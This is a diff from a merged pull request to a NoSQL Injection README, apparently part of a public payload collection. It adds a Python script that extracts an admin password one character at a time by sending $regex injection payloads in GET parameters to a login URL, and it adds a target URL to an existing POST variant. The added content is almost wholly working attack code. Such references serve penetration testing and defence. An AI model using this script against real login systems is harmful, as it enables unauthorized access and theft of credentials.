Merge pull request #64 from noraj/patch-1

add nosqli GET example

NoSQL Injection/README.md

@@ -50,6 +50,9 @@ Extract data with "in"
 
 ## Blind NoSQL
 
+### POST with JSON body
+
+
 ```python
 import requests
 import urllib3
@@ -59,6 +62,7 @@ urllib3.disable_warnings()
 
 username="admin"
 password=""
+u="http://example.org/login"
 
 while True:
     for c in string.printable:
@@ -70,6 +74,29 @@ while True:
                 password += c
 ```
 
+### GET
+
+```python
+import requests
+import urllib3
+import string
+import urllib
+urllib3.disable_warnings()
+
+username='admin'
+password=''
+u='http://example.org/login'
+
+while True:
+  for c in string.printable:
+    if c not in ['*','+','.','?','|', '#', '&', '$']:
+      payload='?username=%s&password[$regex]=^%s' % (username, password + c)
+      r = requests.get(u + payload)
+      if 'Yeah' in r.text:
+        print("Found one more char : %s" % (password+c))
+        password += c
+```
+
 ## MongoDB Payloads
 
 ```bash